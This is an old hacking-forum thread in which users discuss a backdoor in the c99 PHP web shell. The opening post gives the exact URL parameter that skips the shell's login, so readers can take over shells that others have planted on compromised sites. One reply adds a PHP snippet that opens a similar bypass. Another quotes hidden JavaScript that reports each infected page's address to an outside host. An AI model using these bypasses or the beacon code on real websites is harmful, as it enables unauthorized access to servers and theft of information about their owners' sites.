+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: c99 php Shell Backdoor - ByPass Authentication (/showthread.php?tid=4584245)
c99 php Shell Backdoor - ByPass Authentication - Ðexter - Dec 14, 2014
This is a few months old, but the original c99 php shell is backdoored, so is many other versions of it... Not sure if this was posted on HF or if this is right place to post this
To bypass authentication add "?c99shcook[login]=0" to the URL.
So if you found a shell planted on a site, all you have to do is to add the url:
https://YouSite.com/NameOfShell.php?c99shcook[login]=0
Source;
http://thehackerblog.com/every-c99-php-shell-is-backdoored-aka-free-shells/
http://www.exploit-db.com/exploits/34025/
* - 133720 - Dec 14, 2014
If i can't login css shell. i will remember your nice thread. Thanks.
* - cheatson - Dec 14, 2014
Another one I have seen did something like below. Basically what register_globals did before it was removed (bypass would be site.com/shell?pass=1).
PHP Code
<?
foreach($_REQUEST as $key => $val)
$$key = $val;
if ($pass) {
//do evil ...
} ...
?>Incidentally, there was a script that set the register globals flag in an .htaccess -maybe an oversight, vuln all the same ;p
* - 133720 - Dec 14, 2014
I got new one method. Thanks cheatson.
* - Misha the unfortunate - Dec 14, 2014
Thanks for releasing a 2 year old "exploit".
* - bzgzd - Dec 14, 2014
Yes it was already posted here.
Not only it has this backdoor login but it also sends url to r57shell.net web site as it has this js in:
Code
<SCRIPT SRC=http ://r57shell.net/404/ittir.js></SCRIPT>Code
a=new/**/Image();a.src='http ://r57shell.net/yaz.php?a='+escape(location.href);.
* - w34k - Dec 15, 2014
(Dec 14, 2014 08:08 AM)Ðexter Wrote: the original c99 php shell is backdoored
The original, meaning it would be years old lol. I thought everyone knew this by now. Good share for people who don't know, though.